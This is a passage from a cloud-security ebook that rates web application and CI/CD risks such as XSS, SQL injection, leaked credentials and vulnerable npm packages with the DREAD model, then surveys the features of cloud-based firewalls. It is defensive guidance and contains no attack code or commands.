transitioning core services, security takes a back seat. It’s confusing to understand where the cloud service provider’s responsibility ends and the customer’s responsibility begins, or how best to secure the services and leverage new tools properly. Prioritizing the risks, and hence determining what should be secured first, can be simplified through threat modeling—the process of identifying and prioritizing the risks to infrastructure, applications and the services they provide. A proper threat model allows organizations to identify applicable risks, prioritize those risks and evaluate how to manage changes in risks over time. Implementing threat modeling in the cloud is similar to implementing for a traditional infrastructure, but the cloud services, risk priority levels and potential solutions can be vastly different. A threat against a web application stack will be the same in the cloud as it is when deployed on premises. However, cloud providers offer new tools to address the risks. Security teams can bring together cloud-native services, centralized logging, new identity access management processes and easy-to-implement third-party services to make applications and infrastructures safer. This paper is a use case of modeling the threats against a web application server and how to address those risks in a cloud environment. We will cover the web app stack, including the web server, the application code, and the DevOps pipelines to manage it. Database threats will be covered in future papers in this series. We’ll examine the tools and services that cloud providers offer to operate web applications at scale and integrate security services. The paper also breaks down the DevOps process, explains how it can be threat-modeled, and describes common security risks and improvements over traditional workflows. A Threat Modeling Primer As defined in a special publication by the National Institute of Standards and Technology (NIST), threat modeling is “a form of risk assessment that models aspects of the attack and defense sides of a Automating Compliance and Securing Data and Applications in AWSparticular logical entity.”1 By implementing a threat modeling process, organizations can improve their security posture, identify unrealized risks and provide their leadership with the proper tools to prioritize which risks to focus on first. Threat Modeling Process and Frameworks Most threat models start in one of two ways: • Identifying a set of attacker techniques the organization is at risk from • Identifying a set of deployed assets that are at risk Organizations need to pick the approach that works best for them, but asset-focused threat modeling is usually the most straightforward. Threat modeling is a process, not a one-time whiteboard session on a Monday afternoon. As the threats evolve, so do an organization’s risk appetite and security implementations, along with the experience of the team. Organizations must create a culture of threat modeling, where the model is evaluated, implemented, tested, reviewed and re-evaluated regularly. The first threat model an organization builds could take time and even be painful. As the team gains experience, the process becomes more natural and standardized. Security teams should hold quarterly reviews to make updates, question assumptions and adjust risks. Teams should also perform a yearly re-evaluation of the whole threat model, with all the experts available. Regular reviews of the threat model help organizations understand whether the risk-reduction plans are working. 1Draft NIST SP 800-154, Guide to Data-Centric System Threat Modeling, https://csrc.nist.gov/publications/detail/sp/800-154/draft “Building a culture of threat modeling prepares organizations to address the most significant threats with limited resources.” 99 Prioritizing threats is often tricky and likely influenced by the expertise or culture of the organization. If the network team is seasoned, runs a stable environment and has the time to research new threats, it can create the most detailed plan for reducing security risks in the team’s responsibility area. In contrast, a host team caught in the middle of a complicated operating system upgrade has no time to think of next week’s risks, much less next year’s. The organizational culture, workloads, expertise and maturity drive how organizations respond to threats. A threat model process helps level the playing field by giving the appropriate team members the space, tools and support to think about risks and threats across the organization.Drivers of Threat Prioritization “Threat modeling is a process, not a one-time whiteboard session on a Monday afternoon.” 2IANS Pragmatic Threat Modeling Toolkit, https://portal.iansresearch.com/media/739278/ians_pragmatic_threat_modeling_toolkit. xlsmAmong the various threat modeling frameworks, the DREAD risk assessment model works well. Used at OpenStack, DREAD helps teams evaluate the potential results of an attack. DREAD helps the team walk through how a system is at risk, what the attack vector looks like, how likely the attack is to occur and how to prioritize which risks to focus on. The IANS Pragmatic Threat Modeling Toolkit is a spreadsheet that helps organizations walk through the DREAD framework. Users can identify assets at risk, work through DREAD rankings and graph results for easier understanding.2 Automating Compliance and Securing Data and Applications in AWSRisk Assessment and Prioritization Every risk in an environment is addressed in one of four ways, as illustrated in Figure 1. • Mitigate— Putting a firewall in front of your web server will mitigate some attacks, but not all of them. Most security controls focus on mitigating risks. • Eliminate— Eliminating a risk will likely require changing the nature of the asset at risk in such a way that the risk fundamentally goes away. A firewall cannot eliminate all scripting attacks against a web application, but removing all data entry fields and making the website completely static will certainly eliminate whole categories of attacks. Eliminating risks is ideal, but difficult—and usually means re-architecting. • Transfer— When an organization decides to move on-premises infrastructure to a cloud provider, it is effectively transferring asset risks to the service provider. The organization is making a business decision to pay for the provider to manage, secure, provision or operate the service. Cloud providers operate on a shared responsibility model. From a security perspective, that means that parts of the infrastructure stack have been transferred to the cloud provider. It is now responsible for operating, security and managing the assets. Serverless technology is a good example of transferring risk and taking advantage of this shared responsibility model. A customer could spin up virtual machines in the cloud, managing the full stack from operating system to application. The customer is responsible for the patching, configuration and security monitoring of that virtual machine operating system, while the cloud provider is responsible for the virtualization infrastructure, storage and network. Serverless offerings allow the customer to execute a bundle of code, yet have no direct interaction with the executing operating system. The service provider manages the servers in a serverless offering. The risk of operating system vulnerabilities is now transferred to the cloud provider. • Accept— If an organization is unable to mitigate, eliminate or transfer the risk, then it is accepting that risk. It might be a temporary acceptance to be re-evaluated later. In the threat model process, it is healthy for the organization to understand that accepting risk is a valid option that frees it to plan, prioritize, and dive into the other risks. 101As an organization gets more comfortable with its threat model process, it should start incorporating the model into the beginning of the development cycle, helping to identify risks that need to be mitigated or eliminated before the organization has invested the time in creating and deploying it. Include the whole team when modeling a set of services. The developers likely can suggest and implement ways to significantly reduce the risk scores. Building threat models for IT-operated application services will help with prioritizing and accepting risks. Cloud services offer new opportunities for customers to mitigate, eliminate or transfer those risks for traditional IT service applications and to establish new workflows for developing and deploying those systems through DevOps. DevOps with Security DevOps is a process that enables close coordination between development and operation teams.3 That integration enables organizations to develop and quickly deploy new services with zero downtime and improved reliability. The process is especially beneficial for organizations that deploy new versions of software multiple times a day. “Building threat models for IT-operated application services will help with prioritizing and accepting risks.” 3NIST SP800-190, https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-190.pdfFigure 1. Risk Management StrategiesMitigate Eliminate Transfer AcceptRisk Assessment Automating Compliance and Securing Data and Applications in AWS “Companies using on-premises environments have been leveraging DevOps processes to create close coordination between the developers, who create new applications, and operations, which provides the virtual machines they run on. The cloud brings a whole host of services to automate all aspects of the infrastructure deployment and management that on-premises services are unable to match.”To incorporate DevOps, organizations rework testing and deployment processes to be safe, automated and executable at any time. Continuous Integration is the process by which software changes from multiple developers are integrated into a single stack, likely multiple times a day. With Continuous Integration, security teams can avoid the big end-of-a-sprint integration sessions that cause delays and waste resources. Continuous Deployment is the process of building software to be releasable into production at any time, with an easy push of the button.Continuous Integration and Continuous Deployment (CI/CD) require organizations to rethink their planning, development and deployment pipelines to be highly automated. See Figure 2. With CI/CD, every evaluation, decision, configuration or security test that can be automated is automated. If these processes cannot be automated, then the development team must rework the architecture. DevSecOps takes the DevOps process and builds in automated security evaluation gates. The “Sec” of DevSecOps requires the organization to establish security policies for the product before development starts, implementing them in the testing and deployment pipelines. Automated tests are security policies that become reality, not just words in a binder. The best CI/CD processes incorporating DevSecOps give developers the tools to test the security of their code at their workstations—at the beginning of the process rather than waiting until the end of development and being surprised.4 4 Accelerate: Building and Scaling High Performing Technology Organizations, by Nicole Forsgren, Jez Humble and Gene Kim (IT Revolution, 2018)CI/CD is usually focused on deploying applications automatically and continuously. However, the cloud opens a whole new area, allowing the automatic provisioning and deployment of core infrastructure itself. The cloud provides APIs, development kits and specialized services that let customers control every aspect of the infrastructure with DevOps-like processes and tooling. 1035 OWASP Top Ten Project, www.owasp.org/index.php/Category:OWASP_Top_Ten_ProjectFigure 2. Continuous Integration and Continuous Deployment (CI/CD)PLAN CODE BUILD TEST MEASURE OPERATE DEPLOY RELEASE Imagine creating an infrastructure pipeline where a configuration file is used to build a web application stack. And say that a new version of the web server is released with a software patch, and you want to deploy it. After testing it locally, the team updates the configuration file and checks it into version control, and a CI/CD pipeline kicks in and replaces all deployed web servers with the updated versions—automatically. CI/CD comes with risks, however. Automating processes traditionally done by humans can reduce errors, but it also hides unforeseen problems. The platforms that implement DevSecOps and CI/CD pipelines are new attack vectors. The CI/CD platform must become part of the threat modeling process for an organization to ensure that the entire infrastructure is evaluated. Threat Modeling a Web Application As previously discussed, the threat model process starts with identifying deployed assets that are at risk—assets that are well understood and vital to the business. As part of our use case, let’s model the threat to the web application itself and investigate a threat model for the web application. Risk of Web Application Attacks Web applications are usually at risk—they live on the internet, with the sole purpose of capturing and providing information to all their users living on untrusted networks. Complex web applications with user access controls, database-backed pages and free-form input fields are notorious for their vulnerabilities. The Open Web Application Security Project (OWASP) Top 105 is the best starting place when analyzing Automating Compliance and Securing Data and Applications in AWSthreats against web applications. Top attack techniques are prioritized, researched and documented, with details of how the attack works and suggested best practices for stopping the attacks. Cross-site scripting (XSS) is a common attack on web applications that the OWASP Top 10 – 2017 report describes: • XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.6 Use Case: Spoofing an Identity Web applications require data inputs and dynamically display information back to users. XSS could result in many different threat categories. For this use case, an XSS attack that exposes other users’ browser session credentials can be used to spoof an identity. After categorizing the threat, a team can evaluate the risk using the DREAD model. Each DREAD risk- rating category is given a value from 1 to 10. Figure 3 describes the ratings. The rating of a single threat does not provide a full picture of the organization’s vulnerable landscape. DREAD ratings of multiple risks should be viewed in tandem to get a complete picture of the risks that need to be prioritized. While informed by the DREAD rating guidance, organizations will arrive at their final rating number/prioritization through a combination of the ratings and their own experiences, knowledge and biases. Table 1 shows the DREAD rating for our use case. Because XSS is a well-known and well-researched attack method, security teams have multiple ways to mitigate the risk of an XSS attack on a web server. A popular security control is incorporating a web application firewall (WAF) to monitor and block any suspicious traffic before it reaches the web server.7 Large cloud service providers make it easy to implement a WAF right from the console. AWS’s WAF service allows you to customize rules and access control lists to fit your business and risk models. 6 The 10 Most Critical Web Application Security Risks, www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf 7Web Application Firewall, www.owasp.org/index.php/Web_Application_Firewall 105Figure 3. DREAD Risk Ratings8Damage Potential —How much damage will occur if this vulnerability is compromised? • 0 = None • 3 = Individual user data is compromised or affected, or availability is denied • 5 = All individual tenant data is compromised or affected, or availability is denied • 7 = All tenant data is compromised or affected, or availability is denied • 7 = Denied availability of a component/service • 8 = Denied availability of all components/services • 9 = Compromised underlying management and infrastructure data • 10 = Complete system or data destruction, failure or compromise Reproducibility— How reliably can the vulnerability be exploited? • 0 = Very hard or impossible, even for administrators; the vulnerability is unstable and statistically unlikely to be reliably exploited • 5 = One or two steps required; tooling/scripting readily available • 10 = Unauthenticated users can trivially and reliably exploit using only a web browser Exploitability— How difficult is the vulnerability to exploit? • 0 = N/A We assert that every vulnerability is exploitable, given time and effort; all scores should be 1-10 • 1 = Even with direct knowledge of the vulnerability, we do not see a viable path for exploitation • 2 = Advanced techniques required, custom tooling; only exploitable by authenticated users • 5 = Exploit is available/understood, usable with only moderate skill by authenticated users • 7 = Exploit is available/understood, usable by non-authenticated users • 10 = Trivial—just a web browser Affected Users— How many users will be affected? • 0 = None • 5 = Specific to a given project • 10 = All users Discoverability— How easy is it to discover the threat, to learn of the vulnerability? (By convention this is set to 10 even for privately reported vulnerabilities). • 0 = Very hard to impossible to detect even given access to source code and privileged access to running systems • 5 = Can figure it out by guessing or by monitoring network traces • 9 = Details of faults like this are already in the public domain and can be easily discovered using a search engine • 10 = The information is visible in the web browser address bar or in a form 8 Adapted from DREAD Rating, https://wiki.openstack.org/wiki/Security/OSSA-Metrics#DREAD Automating Compliance and Securing Data and Applications in AWS Table 1. DREAD Rating for Web Application Category Damage Potential Reproducibility Exploitability Affected Users Discoverability DREAD AverageRating 2 7 4 4 7 4.8Spoofing Identity The business unit is a significant driver of the risk rating for an application. What data does the application hold? How far-reaching would the attack be? How important is the asset itself? In this example, an XSS attack to gain credentials does not do any damage itself. Once identified, an XSS attack is easy to reproduce through scripts. Only common application access is necessary, rather than special access privileges. Depending on the vulnerability of the application, an XSS could be easy or hard to exploit. Discoverability rates how easy it is to determine if there is potential for an XSS; however, making the exploit perform the desired identity spoofing can be tricky, so we will rate this lower. An XSS attack affects the users logged into the application at the time of the attack, and potentially any users who view the corrupted data. Some users will be affected, but not all. Entering JavaScript into a webpage and reviewing the results gives an attacker a good idea if there is an XSS vulnerability, even if they cannot complete the exploit. Larger cloud service providers may offer WAF assets that can be integrated into their service offerings. They are easy to set up, are relatively inexpensive, and should be able to block OWASP Top 10 and other common attacks. If the DREAD risk is higher and more protection is needed, the cloud service provider often has a variety of top-tier third-party products with WAF offerings available for installation (for example, Impreva SecureSphere and Fortinet FortiGate).9 One way to eliminate the risk of XSS is to remove data entry fields altogether. It requires rethinking the web application architecture and possibly removing functionality for the sake of security. If eliminating the data entry fields is not viable, you can transfer that ownership to a third party. For instance, if the data input fields are for user authentication, leverage a third-party single sign-on service. Eliminating and transferring risks tends to be more costly, but will help decrease DREAD risk scores. The bottom line is that the threat modeling process should drive prioritization of assets and financial commitments. Use Case: SQL Injection Attack Modern web applications are driven by databases that can contain a wealth of knowledge that attackers want. A SQL injection tricks the database into returning unintended data.10 One outcome of a SQL injection attack is information disclosure. 9This paper mentions product names to provide real-life examples of how varying classes of tools can be used. The use of these examples is not an endorsement of any product. 10 SQL Injection: Modes of Attack, Defence, and Why It Matters, www.sans.org/reading-room/whitepapers/securecode/sql-injection-modes-attack-defence-matters-23 107 Table 2. DREAD Rating for Database Category Damage Potential Reproducibility Exploitability Affected Users Discoverability DREAD AverageRating 7 7 5 2 6 5.4Information Disclosure A SQL injection, if successful, will likely affect all the data in the database, not just specific users. The actual damage done in information disclosure is another measure that requires the business units to weigh in. Once a SQL injection attack is identified, it is repeatable. SQL injection (or NoSQL) tends to be easier to accomplish than XSS. Other users may not even notice if a SQL injection attack is happening unless it is damaging the data. For an information disclosure categorized attack, the user effect is nominal. Like XSS, the SQL injection vulnerability is easier to identify than actually to exploit. The DREAD rating determines the severity of this attack in the environment. See Table 2. The processes for mitigating a SQL injection and XSS attacks are similar. The SQL injection attack comes through the web application itself; thus the WAF is in a position to identify and block potential SQL injection attacks. Not all SQL injection attacks will be detected, and significant research has gone into countering a WAF.11 When deciding on a WAF product, look at the entire threat model process and ensure that the WAF covers all the threats at the same time. Another option is to leverage secure coding practices to develop safer code that neutralizes invalid text field inputs before being run in the SQL query on the database. Depending on the programming languages, a number of libraries, design patterns and tools can do this. The security team will need to ensure that all code is following these standards or incorporating the right tools. Today, CI/CD platforms provide opportunities to continuously scan, evaluate or test code as it is being developed. Now that we’ve looked at modeling the threat to the web application, let us look at the threat to the development and deployment platform that is used in cloud operations. Threat Modeling the DevSecOps Platform We have looked at threat models for a well-known architecture like the web application. Now let’s walk through a practical threat model of a CI/CD platform. Again, DREAD helps to prioritize the risks. 11 SQL Injection Bypassing WAF, www.owasp.org/index.php/SQL_Injection_Bypassing_WAF Automating Compliance and Securing Data and Applications in AWSContinuous Integration Server5 34 Fail or Succeed BuildTest Source Control Server Developer 2 Developer 1 Manager2Fetch Changes 6Notify Success or Failure 3 Check In Changes Figure 4 Continuous Integration ProcessA CI/CD process is all about safely automating workflows. The Continuous Integration process kicks off when a developer checks code into the designated source code repository. Distributed version control systems (DVCSs) will mirror an entire copy of the codebase, including all history, on every developer’s computer.12 Git is the most popular DVCS in use today, used with a central Git repository management system like GitHub, GitLab or AWS CodeCommit. When developers request to check their code into the designated central repository, the Continuous Integration system kicks off to test the integration to ensure that it does not break the application. See Figure 4. 12 Getting Started—About Version Control, https://git-scm.com/book/en/v2/Getting-Started-About-Version-ControlUse Case: Credential Disclosure Web applications can make database connections directly to query for data. Many times, the web application connects to the database through credentials stored in a configuration file on the application’s server. The developers have an instance of the database in their environment for testing, which may include a small copy of production data to test code changes properly. 109 Table 3. DREAD Rating of Credential Disclosure Category Damage Potential Reproducibility Exploitability Affected Users Discoverability DREAD AverageRating 5 8 8 5 9 7Credential Disclosure The damage from information disclosure varies depending on the value of the credentials themselves. In this use case, the credentials at risk are for the development environment and reside on the developer’s machine. Because this test database contains a snapshot of production data for testing, customer data is at risk. The threat exploited is highly reproducible because the attacker can log into the at-risk asset. Logging in with unauthorized credentials is easy when you have the credentials. The database at risk in this particular threat model is a developer’s test environment with limited production data. The software is continuously scanning source code repositories looking for credential-like data, thus discovering the data could take mere minutes. If that credential file is accidentally checked into the source control system, that configuration file could become visible to unauthorized users—especially with open source software where the DVCS is accessible to the public. Disclosure of credentials can lead to an unauthorized login to the database, called “ identity spoofing.” Using the spoofed identity can then lead to additional information disclosure, tampering of data or even denial of service. Identifying each step and categorizing the actions along the way is building up the attack tree..13 See Table 3. As the developer is checking in new code in a Continuous Integration process, it is possible that the developer will accidentally check in that credential file and risk disclosure. If undetected, exposure is guaranteed.14 In CI/CD, the automated test platform could be used to evaluate the code to look for strings that resemble credentials and reject the merge. These tools are inexpensive and are easy to configure and execute; they fit perfectly with the CI/CD process and will mitigate the credential disclosure risks. To eliminate the risk of credentials being checked in, eliminate the credential file. Secrets management systems, which are available from cloud service providers or through the marketplace, can be used to programmatically store credentials and only provide them to applications that are authorized. Although this risk-reduction will be harder to implement and can cause changes to the asset, eliminating a risk versus mitigating that risk might be worth the cost. 13 Attack Trees, www.schneier.com/academic/archives/1999/12/attack_trees.html 14 I accidently pushed sensitive info, https://github.community/t5/How-to-use-Git-and-GitHub/I-accidentally-pushed-sensitive-info/ td-p/225 Automating Compliance and Securing Data and Applications in AWS Table 4. DREAD Rating of Software Vulnerability Category Damage Potential Reproducibility Exploitability Affected Users Discoverability DREAD AverageRating 7 5 5 8 3 5.6Denial of Service The amount of damage caused by a denial of service is a business-unit-led decision. Is this a core part of the organization’s business? Could it go down for a day and see no real effects? Business drivers are just as important as security risks in the threat model process. Knowing how vital each service is to the business helps define these values. For this use case, the product is a core part of the business and could not go down for any length of time. Reproducibility can be difficult because the exploit in the NodeJS module could be easy or hard to implement depending on what it is. Predicting future vulnerabilities is impractical. The threat modeling team will have to decide how to handle these ambiguous ratings and be consistent. Similarly, exploitability is hard to assess. The number of affected users can be significant. Denial of service attacks against production systems may slow down or even stop customers from using the application. Because this use case is not an open source application, it will be difficult for an attacker to discover that an application has a particularly vulnerable NodeJS package. Use Case: Software Vulnerability to Denial of Service Humans write software, and humans are experts at making mistakes. Security professionals are continually patching, monitoring and managing software updates. To make matters worse, developers are increasingly reliant on software packages distributed by other developers. Code actually written by the development team may be a small percentage of the entire code base for the application. For this threat model, teams must evaluate the risk of a vulnerable third-party NodeJS module making its way into the software stack. Node Package Manager (NPM) is the most widely used NodeJS package delivery tool, and is likely what organizations are using for JavaScript-based frameworks. A vulnerable NodeJS module can cause information disclosure, escalation of privileges or denial of service.15 Let’s look at denial of service and rate the DREAD risks, as shown in Table 4. It can be difficult to know if a vulnerability exists in any included NodeJS packages. Although the vulnerability may not exist in the packages themselves, each of those packages could rely on other packages, which could be vulnerable. The CI/CD platform must continually analyze deployed modules for vulnerabilities discovered post- deployment. 15 NPM security advisories, www.npmjs.com/advisoriesSome code scanner products are available, usually as scriptable software applications that can be run by any CI/CD platform. Commercial versions provide a wealth of threat intelligence and software analysis 111and are able to not only identify reported vulnerabilities but also scan deep into the code itself and identify risky functions or statements. The code scanners should be easy to run with the CI/CD platform. When developers integrate their code, third-party vulnerability scanners could scan before acceptance. After deployment, the entire code base should be tested daily for newly discovered vulnerabilities that can flag to the security team. Expanding on this idea, the entire deployment system can be scanned before deployment. In a cloud service environment, the configuration of the infrastructure itself can be managed by code, using tools such as AWS CloudFormation or HashiCorp’s Terraform. When a configuration is changed, a sample virtual machine can be automatically built, then scanned by vulnerability scanning tools to ensure that no known vulnerabilities exist in the packages. Third-party scanners have cloud-ready services that can be initiated by CI/CD in the cloud. The results can be used by the CI/ CD to determine if a deployment should continue—all automatically. The risk model can help inform decision makers on whether to use free or commercial solutions. Investigate what additional services and intelligence the commercial products provide, whether they will be easier to implement and operate, and how they might work in the build process. Remember, the risk scores from the threat modeling process and the priorities they uncover can help direct where to focus time and money. Summary Start building a threat model process as part of the security culture of your organization and reap the benefits throughout the life of your infrastructure. Focus on identifying the threats, the risks they pose, and the relative business importance to help the organization prioritize where to focus attention and resources. The automation of the integration and deployment processes of applications means security policies need to be identified and implemented at the beginning of the development cycle, not the end. Threat modeling is a great process for identifying risks. We recommend that any threat modeling process do the following: • Prioritize risks so organizations know where to focus investment. • Produce concrete plans to mitigate, eliminate or transfer any risks that will not be accepted. • Bring security into the beginning of system development rather than at deployment time. Automating Compliance and Securing Data and Applications in AWS• Create a repeatable, improvable process that is used to make decisions, not just a checkbox. • Document not just the plan but also the risk-reduction results. A threat model process can help organizations understand how effective they are in planning, monitoring, addressing and measuring risks. As your threat model process matures, teams can start to evaluate risks in systems before they are even developed. Architectural decisions to eliminate a risk rather than only mitigate it will improve security. and likely reduce overall operating costs. And as automated DevSecOps platforms are brought into the organization’s workflow, a whole host of risks can be managed automatically. Adapt a good threat model process that works for your organization. Constantly re-evaluate, improve and expand the process until the organization can see measured results from planned risk reductions. About the Author During his 25+ years of experience, Shaun has spent equal parts in security engineer and operations as well as software development. With extensive experience within the Department of Defense, Shaun was the Technical Director of the Red and Blue operations teams, a researcher of advanced host analytics, and ran a threat intelligence focused open source platform based on MITRE ATT&CK. Previously, he was a consultant with H&A Security Solutions, focusing on analytic development, DevOps support, and security automation tooling. Shaun has authored the brand new SEC541: Cloud Monitoring and Threat Hunting and can be found teaching SEC545: Cloud Security Architecture and Operations on a regular basis. 113 Enhancing Protection of Applications, Devices, and Networks Enhancing Protection of Applications, Devices, and Networks“Firewalls are just as important in cloud deployments as they are in on-premises environments. Cloud-based firewalls build upon the principles of on-premises firewall deployments and enable organizations to streamline the administration and usage of data points. This chapter explore some of the features of cloud-based firewalls, such as web filtering, IDS/IPS, SSO/authentication support, and deep packet inspection (DPI). Ease of deployment of cloud-based firewalls and exciting advanced features are also reviewed. Your security team and your networking team can learn about efficiencies and visibility gained through cloud-based firewalls. Get the most out of cloud-based firewall deployment by understanding all the features organizations can take advantage of.” Chapter 10: How to Protect Enterprise Systems with Cloud-Based Firewalls Kevin Garvey SANS Community Instructor Enhancing Protection of Applications, Devices, and Networks 115Introduction On-premises perimeter security has been a cornerstone of information security programs since the advent of the firewall. Numerous on-premises guidelines and requirements have been drafted to help information security professionals assess their capabilities against best-of-breed compliance certifications. Now, as more organizations realize the rising demand for, and full potential of, migrating their infrastructure and workloads to the cloud, world-class security is no less essential. Organizations have been meeting the growing demands for securing on-premises networks and data by utilizing the latest generation of firewalls while employing defense-in-depth solutions throughout the enterprise. As cloud migrations have been ramping up over the last few years, the views on network security devices such as web application firewalls (WAFs) and cloud-based firewalls have evolved as well. Gone are the days of deploying network security devices using on-premises equipment only. Organizations can now virtually deploy WAFs and firewalls in cloud environments. In many cases, the deployment is as quick as pushing a few buttons, reducing the initial setup time from hours to minutes. Organizational focus can now shift from maintenance of the technology—firmware upgrades, patching requirements and physical replacements—to key security initiatives. The requirements that apply to securing on-premises networks also apply to securing networks that have migrated to cloud environments—but the cloud provides a fresh approach to the security strategy and changes day-to-day expectations. In this paper, we review how you can rethink on-premises security capabilities and technologies so that your deployments for cloud environments will be familiar and yet improved. We also look at an example of how an organization can successfully implement cloud-based firewalls. Enhancing Protection of Applications, Devices, and NetworksCloud-Based Firewalls Provide Familiar Features Since their inception, firewalls have been critical in securing an organization’s perimeter. They are the first line of defense against incoming traffic, and the last line of defense for outbound traffic destined for the internet. For years, stateful firewalls that relied solely on port- or protocol-based filtering were sufficient for most organizations. But because bad actors were able to circumvent this simple firewall setup, firewall admins had to look beyond the blocking techniques of traditional firewalls. As the technology matured, firewall engineers and other security practitioners had the responsibility of implementing firewall rules, investigating firewall security alerts and troubleshooting connectivity issues when normal network traffic was disrupted. The latest generation of on-premises firewalls have highly advanced features, and firewall practitioners will find that these capabilities translate very well to a new generation of firewalls: cloud-based firewalls. Figure 1 shows the evolution of firewalls. Cloud-based firewalls fill an important role. With the increase in cloud implementations, the perimeter has taken on a different meaning and is not as easily defined. Cloud-based firewalls provide the same type of protection as on-premises firewalls, but they protect cloud-based resources and data. These firewalls allow organizations to extend their security controls to various environments in the cloud, including cloud-to-cloud traffic. They solve the problem of capturing traffic from all ingress and egress points, not only those in on-premises environments, but also cloud-connected traffic. All the new capabilities of cloud-based firewalls, coupled with the transfer of operational responsibility out of the end user’s hands, has made cloud-based firewalls part of the forward-looking strategic discussions within IT departments. Figure 1. Evolution of FirewallsStateless StatefulNext- generationCloud- based 117Firewall Features While firewalls have developed to include functions that address the ever-changing threat landscape hitting an organization’s perimeters, many of these features translate well to cloud-based deployments. In particular, features that allow organizations to gather data and inspect multiple on-premises and cloud perimeters help both security practitioners and operations groups make intelligent decisions. The features shown in Figure 2 and detailed in the following sections are important considerations when deploying cloud-based firewalls. Web Filtering Web filtering allows organizations to mitigate against the risk of user activity that does not align with their acceptable use policies. Many organizations have deployed web filtering to monitor user internet traffic and block websites that they deem a threat to the organization’s risk posture. Such blocking can be done organization wide, or a more granular approach can allow specified users or departments to bypass the filtering policies for defined websites. Many users are accustomed to web filtering, particularly if they have mistakenly tried to visit a website that is in violation of company policy. Web Filtering Network Logging IDS/IPS Deep Packet Inspection SSO Figure 2. Features of Cloud-Based Firewalls Enhancing Protection of Applications, Devices, and NetworksCloud web filtering is a new iteration of web filtering that allows organizations to enforce web content policies regardless of users’ locations. Organizations can set policies based on whether the user is on or off premises. This type of web filtering affords organizations the flexibility to allow users access to the resources they need to be successful while mitigating against activity outside of the company’s risk profile. Cloud-based web filtering can also reduce the need for on-premises web filtering equipment. “Cloud web filtering affords organizations the flexibility to allow users access to the resources they need to be successful while mitigating against activity outside of the company’s risk profile.” Network Logging Traditional firewall configurations can produce network metrics on anything visible to them. Firewalls can give an IT group valuable data points on the activity on the network, from blocked and allowed websites to ports being utilized and the duration of network connections. This data allows network administrators and security practitioners to establish a baseline of what “normal” looks like, so that they can identify when the network is in need of troubleshooting or detect anomalous traffic on the network. Cloud-based firewalls extend an organization’s monitoring capabilities into the cloud. This lets administrators track cloud-based traffic to and from the on-premises environment, allowing security practitioners to establish a baseline for normal cloud network traffic patterns and to identify incongruous patterns. For example, if a rogue vulnerability scanner were running within the cloud environment, changes from the baseline cloud-based network would be detected, and security practitioners would be alerted so that they could investigate. IDS/IPS IDS/IPS is a natural addition to any firewall setup. Both an IDS and an IPS watch for questionable network activity by using signature-based rules that search for predetermined patterns in network activity or by analyzing network traffic to identify deviations from the baseline. An IDS is able to identify anomalous traffic but does not block the traffic, while an IPS blocks traffic based upon a predefined set of rules. 119 “Many IDS/IPS vendors offer cloud-based solutions that security teams can deploy easily to protect against cloud- based traffic.”“Cloud-based firewalls extend an organization’s monitoring capabilities into the cloud. This lets administrators track cloud-based traffic to and from the on-premises environment, allowing security practitioners to establish a baseline for normal cloud network traffic patterns and to identify incongruous patterns.”IDS/IPS in the cloud works similarly to an on-premises device. Many IDS/IPS vendors offer cloud-based solutions that security teams can deploy easily to protect against cloud-based traffic. Some vendors allow organizations to connect their cloud IDS/IPS deployment to their on-premises solution so that users have a single, comprehensive view. SSO/Authentication Support Firewalls in the past were siloed from directory stores, forcing firewall admins to administer firewall rules and user roles separately. Cloud-based firewalls have the capability to seamlessly integrate with identity and access management (IAM) technologies such as SSO to make the process of administering user roles as simple as possible. Because cloud-based firewalls can integrate with existing directory stores, admins have fine-grained control of firewall features through existing SSO technologies. This integration also helps eliminate the security risk of stale login accounts on the firewall. Making sure that IAM policies on a firewall stay fresh as users change roles or leave the organization helps to maintain a strong security posture. Cloud-based firewalls make analyzing and correlating SaaS-based application and other cloud-based architecture network traffic easier by showing admins a more complete picture. Enhancing Protection of Applications, Devices, and NetworksThe integration of directory services allows network administrators to transfer the responsibility of reassessing users’ access from firewall administrators to the appropriate IAM teams. When deploying cloud-based firewalls, an integration with an organization’s directory service offers the same features as an on-premises firewall, eliminating the need to audit IAM concerns in cloud-based firewall deployments. If an organization has not connected its directory store to AWS, it can utilize AWS Directory Service1 to reduce the burden of maintaining separate accounts in each firewall cloud deployment. “Cloud-based firewalls make analyzing and correlating SaaS-based application and other cloud-based architecture network traffic easier by showing admins a more complete picture.” Deep Packet Inspection Deep packet inspection (DPI) has been included in firewall deployments for years. DPI investigates network packet headers and data to determine whether a packet contains a malicious payload. If the firewall deems the packet to be malicious, the firewall deals with it by following either built-in rules or custom rules developed by the firewall administrator. The most common use case is to drop or block the packet from proceeding to the next hop. Now that firewalls are commonly built with much more processing power, the worry about DPI introducing significant network latency has fallen away, and DPI has become commonplace. DPI of cloud traffic is just as important as it is for on-premises traffic. Cloud-based firewalls detect malicious traffic not only as it enters the cloud environment, but also as it traverses the cloud infrastructure. This key component allows AWS users, for example, to use VPC Traffic Mirroring in a multi- account AWS environment, capturing traffic from virtual private clouds (VPCs) spread across many AWS accounts and then routing it to a central VPC for inspection. 1This paper mentions product names to provide real-life examples of how firewall tools can be used. The use of these examples is not an endorsement of any product. 121Ease of Management of Firewalls and Firewall Features in AWS Many cloud-based firewalls allow network and security teams to expand their current, on-premises firewall capabilities to protect their cloud infrastructure. The beauty of the extension is how seamless it is to integrate these new firewalls into day-to-day operations with little operational upkeep by the admin. The following sections point out some of the key features (see Figure 3) that simplify cloud-based firewall deployments. Figure 3. Seamless Integration of Cloud-Based Firewalls with OperationsDeploying firewalls in hybrid architectures Managed and customized rules Deployment through AWS CloudFormation Single viewEase of use Managing All Firewalls in a Single, Comprehensive View Firewall administrators in the past had to log into firewalls one by one to deploy changes throughout their perimeters. This process created an enormous amount of administrative work for network administrators and security practitioners. More recently, many firewall vendors have provided a single, comprehensive view, allowing teams to save time by making changes on multiple on-premises firewalls at once. Not only has this change been positive for administrators, but it has allowed teams to analyze traffic patterns from a group of firewalls in one console. It also enables richer search results and faster mean time to resolution for security alerts and network outages. Firewall administrators can take comfort in knowing that they can add many of their cloud-based firewall deployments into existing comprehensive views, allowing for easy data correlation between on-premises and cloud-based network traffic. Enhancing Protection of Applications, Devices, and NetworksDeployment Through AWS CloudFormation AWS CloudFormation provides a common language for describing and provisioning all the infrastructure resources in your cloud environment. With AWS 